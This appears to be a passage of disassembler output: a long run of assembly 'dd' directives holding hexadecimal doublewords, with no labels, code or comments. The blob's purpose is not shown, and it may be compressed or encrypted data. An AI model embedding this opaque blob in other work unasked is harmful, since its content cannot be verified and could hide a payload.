		dd 1C1036E8h, 4E01F11Dh, 0E2BB1574h, 9EF08FC5h,	0E99F3B82h
		dd 0A3BA668Fh, 6CA2B600h, 0BE26EAB2h, 0A04F6DFh, 0AC80DB2Ch
		dd 0B8B0A53Eh, 0E3050CBFh, 38196623h, 3463F700h, 298B7B46h
		dd 0A758124Bh, 0AC940068h, 0CEB9B0D8h, 6291C9A0h, 19729A30h
		dd 4729B2h, 420D0B4Ah, 0A7B6D36Ah, 78F81001h, 610805E3h
		dd 0F40430h, 0D9E9CE06h, 0B50BB0E5h, 20174500h,	5C7822C9h
		dd 32B600DEh, 9261AF7Eh, 7B09FD75h, 0F09B24h, 0B5F8B3C3h
		dd 2CE716Dh, 96AEBCABh,	1CE0E16Fh, 0E7E8D071h, 0CDF64400h
		dd 0F8342D30h, 40C31D31h, 0C179C0ADh, 0D18923F0h, 0F1C45500h
		dd 186FF92Eh, 0DBF8F36Ch, 4BE601CCh, 6DA25783h,	0D1E02115h
		dd 0F038CCEBh, 82A9400h, 75B2625Eh, 0B30A0078h,	3FAC9884h
		dd 0CD3CCB53h, 79918577h, 70CC9423h, 0E182A018h, 0C9C73A65h
		dd 73FBD080h, 537A2CC3h, 4AAA9600h, 4433EE9h, 94D60049h
		dd 0DA151F44h, 210074EAh
		dd 0E8EA639h, 265DC76Dh, 31DE4D4h, 0CAA93875h, 0A435000h
		dd 7B629FA2h, 778B0084h, 2C0B065Ah, 65502E47h, 6F001BBCh
		dd 616D0305h, 0A1DB0h, 0B77C3CDBh, 4FCFC159h, 7398D000h
		dd 0C26CE077h, 28F900AAh, 0BFFB1309h, 0CF00EC1Ch, 0B170148Bh
		dd 302E29h, 0B20C64B6h,	0F7ADEDD1h, 6FFA5700h, 8514205Ch
		dd 5CB56082h, 0FE967A06h, 0CB0F3A24h, 2303A100h, 22239C4h
		dd 933F2EB5h, 0C4C42457h, 871DA1F2h, 448007FAh,	0B771BF74h
		dd 61A0C0C9h, 0A677E44Eh, 7C9C8A18h, 0C02BF72h,	587FE72Ch
		dd 8E5FBE8h, 9C0D40D0h,	791097E2h, 201DE5Eh, 72DD607Eh
		dd 80D4D794h, 0CBADB7DCh, 0E6372E00h, 63B8B38Eh, 52560059h
		dd 0F012CC34h, 2730551Ah, 707568C6h, 0EBE000B4h, 56573D68h
		dd 0E3008E7Ah, 1813B11Dh, 9D3F099h, 0E1374B9Eh,	0BE89AC00h
		dd 46001975h, 9DC5D639h, 7243831Ah, 0EA99007Bh,	5DBCA9E1h
		dd 0C03A33Fh, 0FEDB048Dh, 0C9AEA079h, 21393899h, 5A1C9180h
		dd 6198B033h, 0AB53ECFFh, 1A5BCD00h, 5170FE84h,	552239A5h
		dd 9A684A80h, 0D86B5C87h, 35075400h, 3EC3EC33h,	1E4B3CA7h
		dd 81CE7E01h, 60AA0111h, 0AC4C2E07h, 0C33A1820h, 1C42EFE8h
		dd 0F864Bh, 0FE29676Eh,	4400E382h, 612FA427h, 0AC61Dh
		dd 0F958DA22h, 9B7AD9C0h, 0BA28E300h, 0D47E1A74h, 0A9F03961h
		dd 763316F9h, 0DF9C0ED8h, 8089C7A7h, 0BE6E03E2h, 70F51426h
		dd 0C029688Eh, 90CD0D97h, 0ED4D1721h, 0B0180049h, 463A02F7h
		dd 0A200C0A4h, 0D62C6CE9h, 982955h, 8805F4D0h, 8D618FACh
		dd 6F0E5800h, 53BADB67h, 11DE6EBh, 22AE9981h, 702E8D93h
		dd 72072B7Ch, 4ED4EE16h, 3EF2B7E0h, 0BA134C01h,	44F77C00h
		dd 0A872A1B3h, 67F67A00h, 0D6F3EF6Eh, 0D1E2E3h,	0C7F836AFh
		dd 12588170h, 0D5748800h, 0EECC637Ah, 8FB200E2h, 523F24BEh
		dd 60716DDCh, 0C3BFC600h, 5FDF7B1Fh, 4F2F838h, 16505569h
		dd 29958089h, 371F5327h, 0EB81D9CCh, 0D2CDA8Ah,	484ED0h
		dd 66F4A31Eh, 0F50BBAD6h, 0E01BC803h, 9FD06DE1h, 0AF82BC00h
		dd 928D00E6h, 70620308h, 5D057CE8h, 0A51A390Ch,	83D0F287h
		dd 1E1EB8BBh, 0DC38D843h, 7436C550h, 77708749h,	258DF059h
		dd 220EA440h, 606134CEh, 2C0112E0h, 0BC8449EEh,	0B2DC920Bh
		dd 0E9839E01h, 59B420E3h, 1402D977h, 0F400EF6h,	0D1C880E0h
		dd 0E68BD641h, 7FFC00F9h, 36E3A6D4h, 0FE603C96h, 55DD97E0h
		dd 4440903h, 0D0008B39h, 0DE233DF6h, 457CB202h,	583AD622h
		dd 345CC1C0h, 72AC4BC4h, 0EEF100C4h, 0E1A3D097h, 77537710h
		dd 4AE044h, 0BCBD48AFh,	26CEF8F4h, 5DF7590Ch, 3CA6218h
		dd 0C86D8789h, 6EC00494h, 150158FBh, 0BAE1A9DBh, 0BCD0222Bh
		dd 368E44Ah, 0A8E0D27Bh, 3BA04748h, 0E5008D8Bh,	73B9D9D3h
		dd 9A9199h, 127C3E03h, 0D411290Ch, 6BA7981Dh, 2C4B9B00h
		dd 3E658B93h, 98D0EAA9h, 290B00CFh, 0C6C424C8h,	0A8004777h
		dd 0BE51380Fh, 95A76Dh,	6FF33643h, 52E160DCh, 0F4059F70h
		dd 619762B1h, 8EDA9400h, 7AAAD0h, 0DDDB0830h, 0CD5094FBh
		dd 0F0FAF726h, 5D880901h, 0AB702BE4h, 9AAC1376h, 16C1367h
		dd 3BD4E981h, 2CF3E091h, 1700F57Eh, 0E6E1413h, 6040B4h
		dd 0BF153120h, 812F8F45h, 4B00187Eh, 61DDA774h,	439D3Bh
		dd 0FE90BA9Fh, 229A2DBFh, 921D2E09h, 2F06EC4h, 0C5F9B068h
		dd 9DE0936Bh, 0C70EC8DDh, 49A50C99h, 4658202Bh,	0B8775915h
		dd 0FCB29099h, 0C8965892h, 0D2BB1F00h, 0F4CA4C2h, 7C692D03h
		dd 0E8D7ABB4h, 42AAE35h, 0CDA255BCh, 0A38802Ch,	2E3268F8h
		dd 71E9F060h, 0F06A00D8h, 2D61197h, 27072A77h, 0F3F2CBC8h
		dd 60EBF472h, 4039C4Ch,	89A52FDBh, 0C8580BDh, 5EFC145Bh
		dd 0A9B2FE0Fh, 0DA2CC38Fh, 0ACA1C9CFh, 0A2F0F0h, 0D24B2DEFh
		dd 0B839B40h, 4FF80600h, 415F66D6h, 572500C9h, 0D5380DF0h
		dd 17CA1ABh, 5D71BEEEh,	76CC9D00h, 7FF631DAh, 0D2520716h
		dd 0A07947CFh, 7BF8C1C6h, 70B8A476h, 794A8C5Ch,	0B549F501h
		dd 9AECCEAFh, 0E7EBF440h, 0F9976060h, 0A0D5C16Fh, 1FA64E04h
		dd 0E8E430CEh, 0FAA707E0h, 103C7CF8h, 581B29D5h, 7D001877h
		dd 705F5354h, 735E28Bh,	6C47A977h, 0ABA321B6h, 3AF44037h
		dd 0E49C67C1h, 0FACCA072h, 3B0E666Bh, 202A483h,	7FB4A720h
		dd 18D59BE0h, 71F07204h, 99C07E82h, 1DB05D6h, 0DAFDEDADh
		dd 0E4B7A94Bh, 7100030Bh, 5E9F176Ah, 0F4849Eh, 13EB2109h
		dd 0CA992A0h, 0E275CC71h, 0B782E0C0h, 0B492Dh, 0A490EC17h
		dd 0F46D4CC5h, 0C1EB3E16h, 7D2FC107h, 0FCA718F0h, 0E215000Bh
		dd 26F2DFE5h, 0AA075D6Ah, 67908120h, 0FD7E8510h, 95E60EC7h
		dd 22C02FD8h, 0D1C1EE65h, 9D759A13h, 7C664C5Fh,	0AC8015Bh
		dd 53E9AFE4h, 0B7C06F21h, 86D925h, 0FBBAC411h, 95052EEBh
		dd 75AC9400h, 19A41B0Dh, 918000D1h, 731F464h, 0A60078EFh
		dd 2CBEC976h, 427EB4h, 0E9B2DADFh, 0FE97C841h, 64613817h
		dd 0ED53585Fh, 8D80C487h, 310C2EBh, 9BDCBF63h, 1807596Dh
		dd 5484A7EDh, 9E70141h,	0F9E51841h, 9FE92440h, 0EF871D84h
		dd 2356007Fh, 64C5A80Eh, 61690500h, 3746B2E7h, 0ED921845h
		dd 24E255FCh, 421464F1h, 9AFEB3Dh, 215E2345h, 7E388B48h
		dd 68C52180h, 0EDB1EF91h, 4BDDCB0Dh, 0E3FC3067h, 0FB64019Fh
		dd 0FEDABEBCh, 402AFD42h, 5E21432Ch, 8798E962h,	0E771C14Fh
		dd 9B4830h, 0F91CFA4Dh,	69C5A142h, 0B1655E00h, 7F35FB67h
		dd 31B80056h, 0B582ADD9h, 87016DBFh, 7A20B2F9h,	8260C737h
		dd 1E7B01C4h, 0FFB06624h, 21E0CFC6h, 0E20F5594h, 407882h
		dd 0D36E8317h, 11D105B3h, 0C07593CDh, 0A155BA21h, 22BCF800h
		dd 58D95F20h, 0FBE90677h, 0C17D4861h, 35048CE4h, 7EACEAE8h
		dd 32977CC0h, 51BCA880h, 2C9E49FEh, 40CE4013h, 9C6FBCD8h
		dd 3B0172A0h, 0F1DFF0B2h, 0E4EC1F52h, 1D583B19h, 8866FC8Fh
		dd 427246A1h, 0E283DCDCh, 0EA6E271Bh, 437B8178h, 0B2C0D0h
		dd 0C103E7B9h, 0B8E02FBEh, 95388500h, 6EED8190h, 652C011Ah
		dd 79E1A63Fh, 8E55C411h, 0E44D6629h, 0F4DD0100h, 0C7C210h
		dd 90E22E46h, 6ED2D4AAh, 850EC9DDh, 82B3A061h, 0F9CF3E1h
		dd 0EFCE54Fh, 523504C0h, 321F5FF7h, 0D50065BFh,	0D2E243B8h
		dd 6E1D2467h, 0BA1C8048h, 0BF3B74FEh, 0AD00AA73h, 0A0D3EE19h
		dd 13F0EB5Bh, 61EC67h, 8C54BBC3h, 27020D72h, 0D5B8DE0Ch
		dd 0BE93402Dh, 0FCEDF897h, 8CF233h, 0C7DFBF41h,	5EE830FCh
		dd 543CD8ECh, 0F277068Fh, 30BBF6h, 49B5B621h, 8C6FEBEFh
		dd 5D96941Ch, 0BF1073C5h, 0D6880BAh, 7930FE48h,	0AADF11B6h
		dd 582DF2CFh, 40199CD5h, 80C8086Dh, 0D082F421h,	6525F0Ch
		dd 5633CC38h, 4900903Ch, 0DAECA60h, 1CB5E6A9h, 0C0E5A5DDh
		dd 2CB035AAh, 750776EAh, 0E78C729Ah, 0C88888D6h, 83C0FB80h
		dd 212DFDD0h, 99130BDh,	0CFBBF502h, 8FC0436Ah, 9713E937h
		dd 9C06BA23h, 66089BEh,	501041F3h, 2D019991h, 0BA8673C4h
		dd 0DDCD4C8h, 60D37B55h, 0CD4A213Fh, 8E01BE73h,	0A6E84B12h
		dd 0A840B7AFh, 0FA2CC0FBh, 10E06003h, 1E487F0Eh, 0A0B85301h
		dd 0C1085929h, 2B140ABBh, 9C00B446h, 44D2E51Fh,	9F003B48h
		dd 5FA713C1h, 1863A68h,	0E38A0CEAh, 0D41E3147h,	8803F31Bh
		dd 0DA3D6CEEh, 0C414A072h, 744000E7h, 31A82715h, 3C00E687h
		dd 0AF040218h, 385D5E2Bh
		dd 0D080ADF2h, 1939130h, 110EEEA2h, 2012898Ah, 273F76B1h
		dd 1C78792Dh, 80911845h, 0D2F9AA04h, 33F4FE5Dh,	7F21EC00h
		dd 0EEFFBB90h, 0A7A90402h, 0EE363ADBh, 0E88B6483h, 18C3E5F7h
		dd 20055940h, 5CCE6FEFh, 0EC8E80D4h, 71BC572h, 89011246h
		dd 5FD37004h, 3AF0EEF8h, 40FE9330h, 40BBE94Ah, 310058B7h
		dd 57A9091Ah, 3ACC717Dh, 0B8006818h, 0DB189BAh,	0EB6041C0h
		dd 9B106F91h, 0DF600129h, 17FA55F6h, 24880C2h, 0CF428B5Bh
		dd 2320C0CDh, 5891461Eh, 8EF82600h, 1DED3E61h, 0B52C0083h
		dd 6B29B7EFh, 0C30EE416h, 4F4DC0D0h, 0C077CE60h, 0F0011D5Eh
		dd 77900A5h, 9156DAD5h,	49002EC7h, 0E35B5D51h, 1BB7DF5h
		dd 0F4A22B2Ch, 206F4C34h, 0F33A0161h, 0F9E40E27h, 44902035h
		dd 3CEDFDE5h, 70807EE6h, 0CE3D823Eh, 0EA006877h, 34FA9867h
		dd 70256E45h, 610300F5h, 7FFCE033h, 927F8FF8h, 0FF1AA300h
		dd 14E442Ch, 39371793h,	629006Fh, 0D47B9D7h, 1AE2DE00h
		dd 13499D1Fh, 36510E4Eh, 34253846h, 7D688022h, 9800CC55h
		dd 351094B3h, 157453C9h, 8D31B50Fh, 1A7EF20Eh, 0B906CC00h
		dd 5C2E53BFh, 50021B7h,	0DFD3272Bh, 0BD890F4Ch,	0DC203213h
		dd 58950A01h, 0A44828C4h, 2042C748h, 90BE2230h,	24A3E822h
		dd 0F57821ABh, 1196F211h, 1F11A56Dh, 0F4EF11DEh, 0DA100612h
		dd 8438970h, 0FA2C4497h, 0F1231084h, 3CF7282Ah,	2E50F450h
		dd 0EBE514A0h, 80D2DB88h, 5D71FF63h, 199A7400h,	0ED5C3C51h
		dd 0E591000Ch, 0D5D67FC0h, 54007053h, 750AD4F2h, 0C68C23h
		dd 5AD8B48Ah, 1EEFFD0Eh, 0E62A0200h, 286A6F8Dh,	1FB7000Dh
		dd 9221C46Eh, 2409FE77h, 808023D3h, 0FAF13616h,	0A1380FECh
		dd 9660A6F4h, 0F04D028Ch, 7E0022ECh, 9FFDF94h, 0EE6ECE62h
		dd 78B8ECh, 6DB8DA34h, 8A13F860h, 1DACFB38h, 0E140CCEEh
		dd 0DC264A0Dh, 20510053h, 63502B55h, 8800B3D8h,	6F41CB29h
		dd 7680B7Eh, 0DDCCF32Ch, 2861207Bh, 150039E0h, 5688CB14h
		dd 269EB65Ch, 41AE57h, 0E21155FBh, 0FF1F3181h, 0D6803BA1h
		dd 0E51C79A8h, 0B3B80097h, 465206F1h, 150C346Dh, 488F8D22h
		dd 18471FD0h, 114D8050h, 8CF73A89h, 0AE396338h,	0FA00415Fh
		dd 0B506AF80h, 73A6007Ch, 4084EB33h, 0C100E162h, 96D035B4h
		dd 3A301875h, 6880F719h, 7208CC64h, 0D100AAD8h,	0DF1A95A8h
		dd 446692h, 3A6DF063h, 0F7B9F1B4h, 580041E4h, 7A4AA648h
		dd 28D18943h, 0E46F95h,	4693A3D7h, 77629C28h, 0FA1D0D1Fh
		dd 0F71C1200h, 1F346ECBh, 0C10E5ED1h, 5F7A82C9h, 97DBF02Eh
		dd 0DB74800h, 0AC3F96A8h, 0F24F1F0Eh, 0B04D4328h, 0B1E8FFA2h
		dd 0C7FA515Dh, 0C167BA00h, 0E1FE99C0h, 4C211DF8h, 0A4AB8073h
		dd 9FB10D66h, 28B39100h, 776D063Ah, 0D89E0287h,	2E7C46C5h
		dd 0C0537CE0h, 7BF34301h, 0E4394169h, 7D5E9670h, 321E28D3h
		dd 4FCB00DCh, 475B2F21h, 58007783h, 0F648086Ch,	9144B9h
		dd 0D7A2E93Dh, 1314BB0h, 4AE8225Fh, 0DF816B3Ah,	0D6E0F571h
		dd 0DBB4F49Dh, 0ADD4C200h, 4B3D328h, 0EFC60E83h, 57E05D50h
		dd 43861554h, 2D991D00h, 3722E445h, 83F6E12Ah, 0B97A809Ch
		dd 0CDE03DE2h, 825A38B3h, 77EF3100h, 6571A4B1h,	9EE83200h
		dd 0DE399489h, 0E8C7F88h, 1BCA100Ch, 0E83E8040h, 961F49DDh
		dd 33811295h, 0B1226FD1h, 34BBF8h, 0E4ECBC6Eh, 92810C61h
		dd 0DDA2E300h, 86D3F62Dh, 4AB0384h, 0CE5C21F9h,	60F7DF0h
		dd 0A7DD6516h, 9E1E7500h, 719BFC3Eh, 0E2100030h, 0D4CA64B2h
		dd 0BF724B19h, 0A01F4001h, 0C9D7F3Dh, 901DE840h, 0E24600C8h
		dd 0F1672CF4h, 81121180h, 64407E87h, 2FC81AC3h,	0D27F0441h
		dd 80848A6Ch, 0FA65F84h, 64715800h, 4BEE8154h, 0C01F3069h
		dd 0CB945EC8h, 4E3F66EAh, 73B48346h, 802B87CFh,	0AE01807h
		dd 0D56263BCh, 4EA807AEh, 0C739309Ah, 5F7C2AACh, 99E52105h
		dd 900F6D36h, 64FB80BEh, 14063C5h, 56126A8Dh, 806CBD9Eh
		dd 26E80520h, 0B8C5FDD1h, 200700BDh, 17B84E9Ah,	823A5751h
		dd 44A999D8h, 91D7E951h, 77306474h, 2349038Ch, 6396764Ah
		dd 0A6C12A90h, 3C5D3200h, 0F5437253h, 6621002Ch, 0A5A7F293h
		dd 5F06F1AEh, 0E5B38B22h, 0C5733EAEh, 7FA47800h, 0C43C6AF7h
		dd 0D46ECC07h, 27089D3h, 3C25318Bh, 50801E75h, 0CCDFF67Ch
		dd 6C0B12F1h, 8013693Ah, 6329D148h, 2A2D2A45h, 657004E8h
		dd 0C0CAFABDh, 55276EAEh, 0B0125C1Ch, 796413C0h, 3E0E43B4h
		dd 3D3E76F3h, 226FC00h,	0A9035650h, 0A54F3202h,	0C0E0DDFFh
		dd 0B163F0h, 39CACE07h,	0B23346AEh, 79F23Ah, 0CBB332D9h
		dd 0BE74DAh, 38DDCAFCh,	5209B5EDh, 0AB2CDB00h, 0DCFF8F3Eh
		dd 489488Eh, 8B925B05h,	78B5B070h, 6547E900h, 77F0BC13h
		dd 0C79B0022h, 4A518A40h, 7000607Dh, 0FA5783B3h, 1C140Bh
		dd 0D15E37C3h, 92645387h, 34AC9D12h, 0DBC0041Eh, 660221B9h
		dd 8D7B003Bh, 0EFA0121Ch, 0F400A4A2h, 2CC45A63h, 70A13E6h
		dd 387E16ACh, 5622E49h,	2E408E1Bh, 0C3263ACEh, 6B80ECE3h
		dd 0A819FE5Ah, 0CFEB0786h, 0D3EAAF27h, 2000E434h, 4F6BAEBCh
		dd 4C24E65Eh, 3E0049D9h, 75A8A622h, 0C00539Bh, 0C599F5B7h
		dd 0FA37616h, 98221982h, 88D0B100h, 280090C8h, 752B9A06h
		dd 0EAA621h, 4FB76E5Dh,	8D98CBC9h, 0E73A4716h, 7E017DBCh
		dd 0ED16CD09h, 0E589D8B9h, 6E0E7C98h, 7403CB9Eh, 0EBD500DDh
		dd 59128FF7h, 497C0E3Ah, 84207457h, 65908046h, 0F1ABCE1Ch
		dd 0D15B8BC0h, 1DACD6C0h, 0DCC4B769h, 0AE64C009h, 0BDE9D80Ch
		dd 44F14B00h, 0B3CEE29Ch, 1C8E0034h, 50AD7ACFh,	9F303187h
		dd 6903402Fh, 8DF10002h, 0CD44775Fh, 6C982651h,	0C090754Ch
		dd 6ED97ACCh, 59D60064h, 676F2E0Ch, 0DE052188h,	61CAFE8Ch
		dd 5DFAE840h, 189D776Bh, 0E44AB58h, 0F2E2B702h,	0F3AF6100h
		dd 244812DAh, 0FAE865h,	5A1583EEh, 0AF91F3Ch, 0D1876002h
		dd 48C8B72Eh, 3DBA43h, 0EEDDB870h, 35AC1F1Bh, 37E11007h
		dd 31302AB5h, 1E39EA54h, 0C0DF5CE8h, 69C74AAAh,	1E1CB1B0h
		dd 318052C2h, 0AC28204Dh, 91850084h, 3AF50983h,	71006548h
		dd 40DA8762h, 23110ABh,	0BEFD3449h, 0A9E0F0CBh,	0C8003B8Dh
		dd 6FB716FBh, 7E0DE20h,	1D89B674h, 8A26E0EAh, 0F7138B21h
		dd 3C017194h, 7B1A8F1Ch, 9CD032B9h, 0BFB40537h,	4008C46Ch
		dd 380E8094h, 0F5002843h, 326B642Eh, 0C7990125h, 304C3321h
		dd 387446A3h, 6302D9B0h, 769A5AADh, 3A906081h, 0C0F6B0h
		dd 75C41349h, 0C68D74D9h, 3E5BD000h, 2EF73098h,	0E09087h
		dd 506DF2BBh, 6535C6CAh, 452AE21Eh, 0D7D69C80h,	0E2A07B02h
		dd 0E9F66Ah, 51D0805Eh,	0ABDD4CE6h, 0A33DFA00h,	67F1BBD5h
		dd 7144048Ch, 135CCF6h,	1FBE3B7Eh, 2424C434h, 2E66AD7h
		dd 9DF91E73h, 294543E0h, 0D1F6FA00h, 5309D443h,	0D91000EFh
		dd 24DBAE62h, 9CA045C2h, 0D626BA4Bh, 6C41049Bh,	0C08B8C70h
		dd 0EC906449h, 0B3B82880h, 3A7E1F00h, 0FD994BC6h, 0B15900BAh
		dd 8D0C9E5Ah, 4E001E32h, 62B93006h, 75711B92h, 0FA70FFDh
		dd 73C0ECB7h, 6B34DB66h, 98F35500h, 60B6C40Bh, 0BB7202F4h
		dd 0E692CD4Bh, 0F4391FC9h, 5198118Ch, 773C610Eh, 0F7B127A6h
		dd 0A894EC20h, 9C9200BFh, 729DC711h, 6400203Bh,	33A3371Ah
		dd 1C4526h, 0E38A9FE8h,	0A714C2Dh, 58DBCC24h, 8F8FB83Dh
		dd 40D8F336h, 3AF947E7h
		dd 3D7700B9h, 6B939461h, 13004BC9h, 0F37FB2CDh,	0BFDA89h
		dd 0E9021762h, 354D5FBAh, 55E3A101h, 30701645h,	0F8C06E00h
		dd 6400464Ah, 79570B4Ah, 8AB50FA3h, 7560EC5h, 400C8C70h
		dd 11D9030Ah, 58840400h, 10B816DCh, 37F43950h, 0D4496480h
		dd 71E341A1h, 4F34C8A0h, 3C05E617h, 0DD7B6C40h,	7D904BAh
		dd 916DF07Ch, 0CEDAC033h, 0D50F3753h, 1EB252EFh, 3895C283h
		dd 0CAA9E344h, 7740409Dh, 0B0275F2h, 63573F76h,	1420C02Bh
		dd 0EB072241h, 85AEA205h, 0ECC02D5Eh, 1237B2F5h, 4E0F0942h
		dd 2BA07184h, 2760DC13h, 4363D104h, 0B4C0D8ADh,	70DF3Bh
		dd 92164BE0h, 1FBCD41Dh, 6E6F800h, 382DC15Ah, 0A0C700B1h
		dd 92D285FBh, 0C400FF80h, 0BC3B12DBh, 5C2751E5h, 1D3983F8h
		dd 9E3E7FDh, 3493B488h,	51E60048h, 20C35A07h, 0D5F5FDBFh
		dd 0E05D44D3h, 5CC4178Fh, 77CD187h, 1216FD9Bh, 6B68D011h
		dd 0ACA0923Eh, 0DA0507DFh, 0C29653DDh, 0D164A833h, 519EF5D6h
		dd 0B8E6807Dh, 0E3598134h, 3C78BC03h, 884339D5h, 48143EA5h
		dd 5500525Bh, 89A365DBh, 21394B85h, 15421EF7h, 4D1367C0h
		dd 1EFAD71h, 52ED9BBAh,	60A8985Dh, 0B701BDD6h, 75A0BF43h
		dd 0A0B85BA1h, 8536190Ch, 0FA28B3A8h, 6800E496h, 4F0280E8h
		dd 16D41BADh, 4AA23Dh, 9B24891h, 5800C561h, 2F4BC728h
		dd 0DE9C2395h, 0A8264080h, 7AAC641Eh, 3FA4B514h, 0A31605F8h
		dd 0ECD81FA1h, 342C02F7h, 62CBF65Bh, 0DDA38880h, 0BB038F0Bh
		dd 0BC381078h, 6355B8C8h, 0EF4F01C5h, 58945C4Bh, 30C38D9h
		dd 5EC67391h, 1CBBC0DFh, 384D267Ch, 0A0B380E4h,	0EF24C2C4h
		dd 0B2DA10C0h, 28136B3Ch, 1CA02CF9h, 80EA7CE2h,	197EE7B5h
		dd 0BF07013Eh, 17D99D8Ah, 5022D40h, 33770045h, 72E81642h
		dd 309CD4BFh, 229B6300h, 24B8FB97h, 64A1C6h, 0B4C28B23h
		dd 6700DDA2h, 33731572h, 2C2863BCh, 7C02E0Bh, 600DCE14h
		dd 6089A924h, 0DC712C71h, 0BB350200h, 82A5064Dh, 0A2840087h
		dd 522539C3h, 3748B67Dh, 0FB8A00D8h, 0F24E9EAEh, 5DD6001Ah
		dd 0D405A5Fh, 1E4CCFB7h, 0EECE012Dh, 1B55712Fh,	0EF59EC4h
		dd 0EF2BDAF9h, 11668C20h, 3400FD94h, 0A8F0E37Eh, 3CE9ECBEh
		dd 0A980965Ch, 0CCB1FBBAh, 9F90A2B3h, 0ABF5C200h, 963B5CAh
		dd 28EB7D9Ah, 0E7434Ah,	0DEACC037h, 975FFC94h, 0E02B4825h
		dd 63054F5h, 45C5626Eh,	5604F823h, 5537DA35h, 41A58880h
		dd 7C6A482Fh, 85185F02h, 0B4C896F9h, 3E3A8D1Eh,	0ACD1002Bh
		dd 8B994D15h, 0C38A0161h, 0EFBA3127h, 0AA83C05Dh, 6024D32Fh
		dd 2CA2E70h, 77F3F81h, 0EBC00829h, 6D03B1C6h, 0B8C7E186h
		dd 0C8A7B3C5h, 0F0083145h, 0C90C008Dh, 2E58CBEBh, 3E765EC2h
		dd 0BFD80412h, 782B8845h, 0F7BDC680h, 535500F0h, 4C63369Ah
		dd 0F2070786h, 1AEFD69Bh, 1F0BF410h, 0D56209C0h, 185ECDC7h
		dd 0EBA0E201h, 33C99701h, 484327DCh, 0E0E883Bh,	30562E6Bh
		dd 0C0F69CB0h, 71BC4B01h, 1F17CA5Eh, 6951F4h, 9E1AB09Ah
		dd 0D460EA03h, 99728892h, 3C2CF473h, 4601FB72h,	0E80935D7h
		dd 1074C1C9h, 0E28A15DFh, 8F25C067h, 0F8F7ACB1h, 7F030F47h
		dd 8199B642h, 0D5F680F0h, 9F1F265Eh, 53BC0C30h,	1C026D48h
		dd 48E54D92h, 2DDCA018h, 0B829ED4Fh, 9932F294h,	0DA4C0E98h
		dd 72B91260h, 0EA055898h, 34D1D2Bh, 9F706C87h, 482C29E2h
		dd 7D02E8E4h, 0D75E2649h, 0B0D500E8h, 98210F2Eh, 0E967B48Eh
		dd 0DB0CE051h, 7A1200ABh, 0E99B292Ah, 6003C7A7h, 88C98C2Bh
		dd 49A6D094h, 58AC16DBh, 151B01F5h, 0C7BB2917h,	169D2AE8h
		dd 0AB66D717h, 28DF8C00h, 4C063C69h, 23006EB0h,	0C4555D7Ah
		dd 52B0AA07h, 71D3A700h, 38821983h, 544B02E5h, 5BD217C5h
		dd 3CF871h, 883D7E87h, 7D0492B9h, 9C3100FBh, 4043772Bh
		dd 0DE601BF6h, 0FDCEDBBAh, 0BAD3007Ah, 0E88B9A66h, 10B0503h
		dd 3D8826h, 2B7BEDF0h, 0A2BF0537h, 0DFB43Eh, 0D75DB7C0h
		dd 3000E04Dh, 0D15F9F34h, 5CFB042h, 92BA996h, 87F480D0h
		dd 0C80ABA76h, 0C8E2F1EAh, 90D2BF1Fh, 7CB5E500h, 1C704D38h
		dd 300EBBDCh, 0F0289670h, 0C52628BAh, 480E80BCh, 8F644B77h
		dd 0ABD625E4h, 160364A0h, 423593FDh, 0A8AFBD58h, 308FD5C1h
		dd 9FEC407Ah, 32B5300h,	0D06DEF39h, 1917429h, 4A14953Eh
		dd 81EAA773h, 62D9256Eh, 54245627h, 5749000Ch, 0FF2D269Ah
		dd 0E89C1923h, 0D300F516h, 9CCFE211h, 0CDDE00F3h, 0FD10ACD6h
		dd 0A3004429h, 0E946CBAh, 2421348h, 0A7B3CDDAh,	9C6226D1h
		dd 90360C48h, 0C4687F62h, 0B0C05A47h, 659500DBh, 0E4D5DBEBh
		dd 5C00CB1Eh, 3CF1E999h, 3F9DD6B2h, 2809CC8h, 56F3F47Dh
		dd 0ED1CB152h, 0A9800A01h, 0D2C825AAh, 0F9B00073h, 476EB2A8h
		dd 2E021CDEh, 0B7B32D97h, 2CCD296h, 70830436h, 0F4839B75h
		dd 0DEB0E165h, 4302370Eh, 883EA13Dh, 57DCC042h,	0EC8400A0h
		dd 2E32EC3h, 5F001B8Eh,	6C13B58Bh, 9B740Eh, 506A4E8Fh
		dd 571F0565h, 113D4A1Ch, 3712BFC0h, 0E40248Ah, 1EAC0A9Eh
		dd 0E9EADA60h, 0CB000D45h, 476B1250h, 0B5C466h,	0ACA27889h
		dd 0E4AD69Fh, 75005278h, 23D5D4C3h, 6F0F74h, 0F9EE5527h
		dd 64135BA4h, 0BA7B2200h, 21BCFCF5h, 3EBEE628h,	7503D5A1h
		dd 4C731293h, 1635FAB0h, 94022300h, 30D47234h, 0B59500B0h
		dd 0A75150E6h, 0B8B4FD07h, 0C0441009h, 86E24Ch,	6E9979C9h
		dd 5F6130A4h, 81CB5B3Bh, 423C81DFh, 0F440599Ah,	0EA97945h
		dd 7A35D0B1h, 551A75C2h, 58C09904h, 36E277h, 0CB3F8C8h
		dd 181BCE0h, 86ED3F09h,	877C0102h, 58C431FBh, 0C20C0220h
		dd 1C4EB510h, 9C727848h, 2F81541Ch, 2943A6C4h, 3BC07C80h
		dd 0A780001Eh, 31E7016Ch, 9F00D711h, 244592F2h,	0C049D1FAh
		dd 0D22989B0h, 7E000886h, 0D1D43EEh, 21B4B6h, 1C4D1611h
		dd 271E02A2h, 0F47AD600h, 0E96A3A4Fh, 7FEECC7h,	5E2DE072h
		dd 607543C3h, 80FBD839h, 64E449ABh, 343EB28h, 0B3AC4685h
		dd 3DC88D9Ah, 8BE01504h, 0CCDE8205h, 0B603F81Eh, 987FBB55h
		dd 99C3C5h, 44593C80h, 2196FE3h, 22000498h, 0C40AC18h
		dd 0E3C5FCEh, 0BA10BECCh, 0A6E363A0h, 0DD27F659h, 0A02C8F01h
		dd 7E057F47h, 4346120Bh, 0B0E4C76Bh, 0CE21B545h, 0F1ED1100h
		dd 7C8B01E1h, 0CB3D00E2h, 0B18A1C81h, 0DAE4E0C8h, 0D2B0EE7Bh
		dd 9D71FBE4h, 0F832CF00h, 4DB285D6h, 415CB23Bh,	44B8D7FDh
		dd 0FE2861C1h, 464AC436h, 588058C2h, 0B3B401D8h, 0F4D1A2B6h
		dd 0BADFD8E4h, 0CD86F03h, 0E0C52274h, 3773F92h,	0E65598Ah
		dd 2EA0F1AAh, 0DC001CB6h, 7B38C12Ah, 7C5B8050h,	0FD540087h
		dd 42B3731h, 0AF032898h, 0DC18DE36h, 9406F081h,	84401D91h
		dd 0BB003B23h, 9D8FBAA0h, 6A48BDA8h, 0D10E0700h, 55B07EAAh
		dd 0EE4DF5h, 2DB3CEFEh,	98F4D789h, 7CB89717h, 9ADCD00h
